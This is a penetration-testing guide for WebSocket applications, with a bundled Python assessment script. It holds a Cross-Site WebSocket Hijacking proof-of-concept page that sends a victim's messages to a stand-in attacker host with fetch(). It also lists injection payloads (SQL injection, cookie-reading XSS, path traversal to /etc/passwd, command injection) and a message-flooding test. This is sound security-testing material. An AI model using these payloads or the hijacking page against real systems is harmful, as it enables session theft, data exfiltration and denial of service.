Install this skill

npx skills add mukul975/Anthropic-Cybersecurity-Skills

Framework mappings

MITRE ATT&CK

T1055 T1059.007 T1083 T1190 T1505.003

NIST CSF 2.0

DE.CM-01 ID.RA-01 PR.DS-10 PR.PS-01

When to Use

During authorized penetration tests when the application uses WebSocket connections for real-time features
When assessing chat applications, live notifications, trading platforms, or collaborative editing tools
For testing WebSocket API endpoints for authentication and authorization flaws
When evaluating real-time data streams for injection vulnerabilities
During security assessments of applications using Socket.IO, SignalR, or native WebSocket APIs

Prerequisites

Authorization: Written penetration testing agreement covering WebSocket testing
Burp Suite Professional: With WebSocket interception capability
Browser DevTools: Network tab for WebSocket frame inspection
websocat: Command-line WebSocket client (cargo install websocat)
wscat: Node.js WebSocket client (npm install -g wscat)
Python websockets: For scripting custom WebSocket attacks (pip install websockets)

Workflow

Step 1: Discover and Enumerate WebSocket Endpoints

Identify WebSocket connections in the application.

# Check for WebSocket upgrade in response headers
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  "https://target.example.com/ws"
 
# Common WebSocket endpoint paths
for path in /ws /websocket /socket /socket.io /signalr /hub \
  /chat /notifications /live /stream /realtime /api/ws; do
  echo -n "$path: "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Upgrade: websocket" \
    -H "Connection: Upgrade" \
    -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
    -H "Sec-WebSocket-Version: 13" \
    "https://target.example.com$path")
  echo "$status"
done
 
# Check for Socket.IO
curl -s "https://target.example.com/socket.io/?EIO=4&transport=polling"
 
# Check for SignalR
curl -s "https://target.example.com/signalr/negotiate"
 
# In browser DevTools:
# Network tab > Filter: WS
# Look for ws:// or wss:// connections
# Examine the upgrade request and WebSocket frames

Step 2: Test WebSocket Authentication

Verify that WebSocket connections require proper authentication.

# Test connection without authentication
wscat -c "wss://target.example.com/ws"
# If connection succeeds without tokens, auth is missing
 
# Test with expired/invalid token
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=invalid_or_expired_token"
 
# Test connection with stolen/replayed session
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=valid_session_from_another_user"
 
# Test token in WebSocket URL parameter
wscat -c "wss://target.example.com/ws?token=invalid_token"
 
# Test if authentication is only checked at connection time
# Connect with valid token, then check if messages still work
# after the token expires or the user logs out
 
# Using Python for automated testing
python3 << 'PYEOF'
import asyncio
import websockets
 
async def test_no_auth():
    try:
        async with websockets.connect("wss://target.example.com/ws") as ws:
            print("Connected WITHOUT authentication!")
            # Try sending a message
            await ws.send('{"type":"get_data","resource":"users"}')
            response = await ws.recv()
            print(f"Response: {response}")
    except Exception as e:
        print(f"Connection failed: {e}")
 
asyncio.run(test_no_auth())
PYEOF

Step 3: Test Cross-Site WebSocket Hijacking (CSWSH)

Check if the WebSocket handshake is vulnerable to cross-site attacks.

# Check Origin header validation on WebSocket upgrade
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Origin: https://evil.example.com" \
  "https://target.example.com/ws"
# If 101 Switching Protocols: Origin not validated (vulnerable to CSWSH)
# If 403: Origin validation is working

<!-- Cross-Site WebSocket Hijacking PoC -->
<!-- Host on attacker-controlled server -->
<html>
<head><title>CSWSH PoC</title></head>
<body>
<h1>Cross-Site WebSocket Hijacking</h1>
<div id="messages"></div>
<script>
// This connects to the target's WebSocket using the victim's cookies
var ws = new WebSocket("wss://target.example.com/ws");
 
ws.onopen = function() {
  console.log("WebSocket connected (using victim's session)");
  // Request sensitive data through the WebSocket
  ws.send(JSON.stringify({type: "get_messages", channel: "private"}));
  ws.send(JSON.stringify({type: "get_profile"}));
};
 
ws.onmessage = function(event) {
  console.log("Data stolen: " + event.data);
  document.getElementById("messages").innerText += event.data + "\n";
 
  // Exfiltrate to attacker server
  fetch("https://attacker.example.com/collect", {
    method: "POST",
    body: event.data
  });
};
 
ws.onerror = function(error) {
  console.log("WebSocket error: " + error);
};
</script>
</body>
</html>

Step 4: Test WebSocket Message Injection

Assess WebSocket messages for injection vulnerabilities.

# Using wscat for manual message injection testing
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=valid_session_token"
 
# Once connected, send test messages:
 
# SQL injection in WebSocket message
# > {"action":"search","query":"' OR 1=1--"}
 
# XSS payload in chat message
# > {"type":"message","content":"<script>alert(document.cookie)</script>"}
# > {"type":"message","content":"<img src=x onerror=alert(1)>"}
 
# Command injection
# > {"action":"ping","host":"127.0.0.1; whoami"}
 
# Path traversal
# > {"action":"read_file","path":"../../../etc/passwd"}
 
# IDOR in WebSocket messages
# > {"action":"get_messages","channel_id":1}
# > {"action":"get_messages","channel_id":2}  (another user's channel)
 
# Automated injection testing with Python
python3 << 'PYEOF'
import asyncio
import websockets
import json
 
PAYLOADS = [
    {"action": "search", "query": "' OR 1=1--"},
    {"action": "search", "query": "<script>alert(1)</script>"},
    {"action": "search", "query": "{{7*7}}"},
    {"action": "search", "query": "${7*7}"},
    {"action": "read", "file": "../../../etc/passwd"},
    {"action": "exec", "cmd": "; whoami"},
]
 
async def test_injections():
    async with websockets.connect(
        "wss://target.example.com/ws",
        extra_headers={"Cookie": "session=valid_token"}
    ) as ws:
        for payload in PAYLOADS:
            await ws.send(json.dumps(payload))
            try:
                response = await asyncio.wait_for(ws.recv(), timeout=5)
                print(f"Payload: {json.dumps(payload)}")
                print(f"Response: {response}\n")
            except asyncio.TimeoutError:
                print(f"Timeout for: {json.dumps(payload)}\n")
 
asyncio.run(test_injections())
PYEOF

Step 5: Test WebSocket Authorization and Rate Limiting

Check if message-level authorization and abuse controls are enforced.

# Test accessing other users' data via WebSocket
python3 << 'PYEOF'
import asyncio
import websockets
import json
 
async def test_authz():
    async with websockets.connect(
        "wss://target.example.com/ws",
        extra_headers={"Cookie": "session=user_a_session"}
    ) as ws:
        # Try accessing User B's private data
        messages = [
            {"type": "subscribe", "channel": "user_b_private"},
            {"type": "get_history", "user_id": "user_b_id"},
            {"type": "admin_action", "action": "list_users"},
            {"type": "send_message", "to": "admin", "as": "admin"},
        ]
        for msg in messages:
            await ws.send(json.dumps(msg))
            try:
                response = await asyncio.wait_for(ws.recv(), timeout=5)
                print(f"Sent: {json.dumps(msg)}")
                print(f"Received: {response}\n")
            except asyncio.TimeoutError:
                print(f"No response for: {json.dumps(msg)}\n")
 
asyncio.run(test_authz())
PYEOF
 
# Test rate limiting on WebSocket messages
python3 << 'PYEOF'
import asyncio
import websockets
import json
import time
 
async def test_rate_limit():
    async with websockets.connect(
        "wss://target.example.com/ws",
        extra_headers={"Cookie": "session=valid_token"}
    ) as ws:
        start = time.time()
        for i in range(1000):
            await ws.send(json.dumps({
                "type": "message",
                "content": f"Flood message {i}"
            }))
        elapsed = time.time() - start
        print(f"Sent 1000 messages in {elapsed:.2f} seconds")
        print("If no rate limiting, DoS is possible")
 
asyncio.run(test_rate_limit())
PYEOF

Step 6: Test WebSocket Encryption and Protocol Security

Verify transport security and protocol-level protections.

# Check if WebSocket uses WSS (encrypted) or WS (plaintext)
# WS (ws://) traffic can be intercepted by network attackers
 
# Check for mixed protocols
# Application on HTTPS but WebSocket on WS = insecure
curl -s "https://target.example.com/" | grep -oP "ws://[^\"']+"
# Should only find wss:// (encrypted WebSocket)
 
# Test Sec-WebSocket-Protocol header handling
wscat -c "wss://target.example.com/ws" \
  -H "Sec-WebSocket-Protocol: admin-protocol"
 
# Test for compression side-channel (CRIME-like attacks)
# Check if Sec-WebSocket-Extensions includes permessage-deflate
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Extensions: permessage-deflate" \
  "https://target.example.com/ws" | grep -i "sec-websocket-extensions"
# permessage-deflate with secrets in messages can leak data via compression
 
# Test WebSocket connection persistence
# Check if server implements proper timeouts and connection limits

Key Concepts

Concept	Description
WebSocket Handshake	HTTP upgrade request that transitions the connection from HTTP to WebSocket protocol
CSWSH	Cross-Site WebSocket Hijacking - exploiting missing Origin validation to hijack sessions
Origin Validation	Server-side check that the WebSocket upgrade request comes from a trusted origin
Message-level Authorization	Verifying permissions for each WebSocket message, not just at connection time
WSS	WebSocket Secure - encrypted WebSocket connection over TLS (equivalent to HTTPS)
Socket.IO	Popular WebSocket library with automatic fallback to HTTP long-polling
Ping/Pong Frames	WebSocket keepalive mechanism; can be abused for timing attacks

Tools & Systems

Tool	Purpose
Burp Suite Professional	WebSocket interception, modification, and history analysis
wscat	Command-line WebSocket client for manual testing
websocat	Versatile command-line WebSocket client written in Rust
Browser DevTools	Network tab WS filter for inspecting WebSocket frames
Socket.IO Client	Testing Socket.IO-based WebSocket implementations
Python websockets	Scripting automated WebSocket attack sequences

Common Scenarios

Scenario 1: Chat Application CSWSH

A real-time chat application validates the user's cookie during the WebSocket handshake but does not check the Origin header. An attacker hosts a page that opens a WebSocket to the chat server, stealing the victim's private messages.

Scenario 2: Trading Platform Message Injection

A trading platform processes WebSocket messages containing order parameters. SQL injection in the symbol field of an order message allows extracting the entire order database through error-based SQLi.

Scenario 3: Missing Message Authorization

A collaboration tool checks user authentication at WebSocket connection time but does not verify authorization for individual messages. After connecting, a regular user sends admin-level commands to delete workspaces and export user data.

Scenario 4: Notification Channel IDOR

A notification system subscribes users to channels via WebSocket messages containing channel IDs. Changing the channel ID allows any user to subscribe to any other user's private notification channel.

Output Format

## WebSocket Security Assessment Report
 
**Vulnerability**: Cross-Site WebSocket Hijacking (CSWSH)
**Severity**: High (CVSS 8.1)
**Location**: wss://target.example.com/ws
**OWASP Category**: A01:2021 - Broken Access Control
 
### WebSocket Configuration
| Property | Value |
|----------|-------|
| Protocol | WSS (encrypted) |
| Library | Socket.IO 4.x |
| Authentication | Cookie-based session |
| Origin Validation | NOT ENFORCED |
| Message Authorization | NOT ENFORCED |
| Rate Limiting | NOT IMPLEMENTED |
 
### Findings
| Finding | Severity |
|---------|----------|
| CSWSH - No Origin validation | High |
| Missing message-level authorization | High |
| XSS via chat message injection | Medium |
| No rate limiting on messages | Medium |
| Channel IDOR (subscribe to any channel) | High |
| WebSocket open after logout | Medium |
 
### Impact
- Private message exfiltration via CSWSH
- Account impersonation through unauthorized message sending
- Cross-channel data access affecting all users
- DoS via message flooding (no rate limits)
 
### Recommendation
1. Validate the Origin header during WebSocket handshake
2. Implement CSRF tokens in the WebSocket upgrade request
3. Enforce authorization checks on every WebSocket message
4. Sanitize all user input in WebSocket messages (prevent XSS/SQLi)
5. Implement message rate limiting per connection
6. Invalidate WebSocket connections on logout or session expiration
7. Use per-message authentication tokens rather than relying solely on the initial handshake

Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md2.0 KB

API Reference: WebSocket Vulnerability Assessment Agent

Dependencies

Library	Version	Purpose
websockets	>=11.0	Async WebSocket client for connection and message testing
requests	>=2.28	HTTP-level WebSocket handshake inspection

CLI Usage

python scripts/agent.py \
  --url wss://target.example.com/ws \
  --cookie "session=abc123" \
  --output ws_report.json

Functions

`discover_ws_endpoints(base_url) -> list`

Probes 9 common WebSocket paths with upgrade headers to find endpoints.

`test_origin_validation(ws_url, cookie) -> dict`

Sends WebSocket upgrade requests with evil Origin headers. Acceptance indicates CSWSH risk.

`test_no_auth_connect(ws_url) -> dict` (async)

Attempts WebSocket connection without any authentication tokens.

`test_message_injection(ws_url, cookie) -> list` (async)

Sends 6 injection payloads (SQLi, XSS, SSTI, path traversal, command injection) and checks responses.

`test_idor_channels(ws_url, cookie, channel_ids) -> list` (async)

Subscribes to channels 1-5 to test for IDOR in channel access.

`test_rate_limiting(ws_url, cookie, count) -> dict` (async)

Sends 100 rapid messages and checks if the connection is throttled or closed.

`run_assessment(ws_url, cookie) -> dict`

Orchestrates all tests and compiles findings.

websockets Library Usage

Method	Purpose
`websockets.connect(url, extra_headers)`	Async context manager for WS connection
`ws.send(data)`	Send a text frame
`ws.recv()`	Receive next frame
`asyncio.wait_for(ws.recv(), timeout)`	Receive with timeout

Output Schema

{
  "target": "wss://target.example.com/ws",
  "origin_validation": {"cswsh_vulnerable": true},
  "unauthenticated_access": {"connected": false},
  "injection_tests": [{"payload": {"query": "' OR 1=1--"}, "suspicious": true}],
  "rate_limiting": {"rate_limited": false},
  "findings": ["HIGH: Cross-Site WebSocket Hijacking possible"]
}

Scripts 1

agent.py8.3 KB

Display-only source. This catalog never executes bundled scripts.

#!/usr/bin/env python3
# For authorized testing in lab/CTF environments only
"""WebSocket vulnerability assessment agent using websockets and requests."""

import argparse
import asyncio
import json
import logging
import sys
from typing import List, Optional

try:
    import websockets
except ImportError:
    sys.exit("websockets is required: pip install websockets")

try:
    import requests
except ImportError:
    sys.exit("requests is required: pip install requests")

logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)


def discover_ws_endpoints(base_url: str) -> List[dict]:
    """Probe common WebSocket endpoint paths."""
    paths = ["/ws", "/websocket", "/socket", "/socket.io/?EIO=4&transport=polling",
             "/signalr/negotiate", "/chat", "/notifications", "/live", "/api/ws"]
    found = []
    for path in paths:
        try:
            resp = requests.get(f"{base_url}{path}", timeout=5, verify=False,
                                headers={"Upgrade": "websocket", "Connection": "Upgrade",
                                          "Sec-WebSocket-Key": "dGhlIHNhbXBsZSBub25jZQ==",
                                          "Sec-WebSocket-Version": "13"})
            if resp.status_code in (101, 200, 400):
                found.append({"path": path, "status": resp.status_code})
        except requests.RequestException:
            continue
    logger.info("Found %d potential WebSocket endpoints", len(found))
    return found


def test_origin_validation(ws_url: str, cookie: str = "") -> dict:
    """Test if the WebSocket server validates the Origin header."""
    evil_origins = ["https://evil.example.com", "https://attacker.com", "null"]
    results = []
    for origin in evil_origins:
        headers = {"Origin": origin}
        if cookie:
            headers["Cookie"] = cookie
        try:
            resp = requests.get(
                ws_url.replace("wss://", "https://").replace("ws://", "http://"),
                headers={**headers, "Upgrade": "websocket", "Connection": "Upgrade",
                         "Sec-WebSocket-Key": "dGhlIHNhbXBsZSBub25jZQ==",
                         "Sec-WebSocket-Version": "13"},
                timeout=5, verify=False,
            )
            results.append({
                "origin": origin,
                "status_code": resp.status_code,
                "accepted": resp.status_code == 101,
            })
        except requests.RequestException as exc:
            results.append({"origin": origin, "error": str(exc)})

    cswsh_vulnerable = any(r.get("accepted") for r in results)
    return {"test": "origin_validation", "results": results, "cswsh_vulnerable": cswsh_vulnerable}


async def test_no_auth_connect(ws_url: str) -> dict:
    """Test if WebSocket connection succeeds without authentication."""
    try:
        async with websockets.connect(ws_url, open_timeout=5) as ws:
            return {"test": "no_auth", "connected": True, "risk": "HIGH"}
    except Exception as exc:
        return {"test": "no_auth", "connected": False, "error": str(exc)}


async def test_message_injection(ws_url: str, cookie: str = "") -> List[dict]:
    """Test WebSocket messages for injection vulnerabilities."""
    injection_payloads = [
        {"action": "search", "query": "' OR 1=1--"},
        {"action": "search", "query": "<script>alert(1)</script>"},
        {"action": "search", "query": "{{7*7}}"},
        {"action": "search", "query": "${7*7}"},
        {"action": "read", "file": "../../../etc/passwd"},
        {"action": "exec", "cmd": "; whoami"},
    ]
    headers = {}
    if cookie:
        headers["Cookie"] = cookie

    results = []
    try:
        async with websockets.connect(ws_url, extra_headers=headers, open_timeout=5) as ws:
            for payload in injection_payloads:
                await ws.send(json.dumps(payload))
                try:
                    response = await asyncio.wait_for(ws.recv(), timeout=5)
                    results.append({
                        "payload": payload,
                        "response": response[:300],
                        "suspicious": any(kw in response.lower() for kw in
                                          ["error", "sql", "root:", "uid=", "49"]),
                    })
                except asyncio.TimeoutError:
                    results.append({"payload": payload, "response": "TIMEOUT"})
    except Exception as exc:
        results.append({"error": str(exc)})

    return results


async def test_idor_channels(ws_url: str, cookie: str = "",
                              channel_ids: Optional[List[int]] = None) -> List[dict]:
    """Test for IDOR by subscribing to other users' channels."""
    ids = channel_ids or list(range(1, 6))
    results = []
    headers = {"Cookie": cookie} if cookie else {}
    try:
        async with websockets.connect(ws_url, extra_headers=headers, open_timeout=5) as ws:
            for cid in ids:
                msg = json.dumps({"type": "subscribe", "channel_id": cid})
                await ws.send(msg)
                try:
                    resp = await asyncio.wait_for(ws.recv(), timeout=5)
                    results.append({"channel_id": cid, "response": resp[:200], "accessible": "error" not in resp.lower()})
                except asyncio.TimeoutError:
                    results.append({"channel_id": cid, "response": "TIMEOUT"})
    except Exception as exc:
        results.append({"error": str(exc)})
    return results


async def test_rate_limiting(ws_url: str, cookie: str = "", count: int = 100) -> dict:
    """Test if message rate limiting is enforced."""
    import time
    headers = {"Cookie": cookie} if cookie else {}
    try:
        async with websockets.connect(ws_url, extra_headers=headers, open_timeout=5) as ws:
            start = time.time()
            sent = 0
            for i in range(count):
                try:
                    await ws.send(json.dumps({"type": "ping", "seq": i}))
                    sent += 1
                except websockets.ConnectionClosed:
                    break
            elapsed = time.time() - start
            return {
                "test": "rate_limiting",
                "messages_sent": sent,
                "target_count": count,
                "elapsed_seconds": round(elapsed, 2),
                "rate_limited": sent < count,
            }
    except Exception as exc:
        return {"test": "rate_limiting", "error": str(exc)}


def run_assessment(ws_url: str, cookie: str = "") -> dict:
    """Run complete WebSocket security assessment."""
    origin_test = test_origin_validation(ws_url, cookie)

    loop = asyncio.new_event_loop()
    no_auth = loop.run_until_complete(test_no_auth_connect(ws_url))
    injections = loop.run_until_complete(test_message_injection(ws_url, cookie))
    idor = loop.run_until_complete(test_idor_channels(ws_url, cookie))
    rate = loop.run_until_complete(test_rate_limiting(ws_url, cookie))
    loop.close()

    findings = []
    if origin_test.get("cswsh_vulnerable"):
        findings.append("HIGH: Cross-Site WebSocket Hijacking possible (no Origin validation)")
    if no_auth.get("connected"):
        findings.append("HIGH: WebSocket accepts unauthenticated connections")
    if any(i.get("suspicious") for i in injections if isinstance(i, dict)):
        findings.append("MEDIUM: Potential injection in WebSocket messages")
    if not rate.get("rate_limited", True):
        findings.append("MEDIUM: No message rate limiting detected")

    return {
        "target": ws_url,
        "origin_validation": origin_test,
        "unauthenticated_access": no_auth,
        "injection_tests": injections,
        "idor_tests": idor,
        "rate_limiting": rate,
        "findings": findings,
    }


def main():
    parser = argparse.ArgumentParser(description="WebSocket Vulnerability Assessment Agent")
    parser.add_argument("--url", required=True, help="WebSocket URL (wss://...)")
    parser.add_argument("--cookie", default="", help="Session cookie")
    parser.add_argument("--output", default="websocket_report.json")
    args = parser.parse_args()

    report = run_assessment(args.url, args.cookie)
    with open(args.output, "w") as f:
        json.dump(report, f, indent=2)
    logger.info("Report saved to %s", args.output)
    print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()

Keep exploring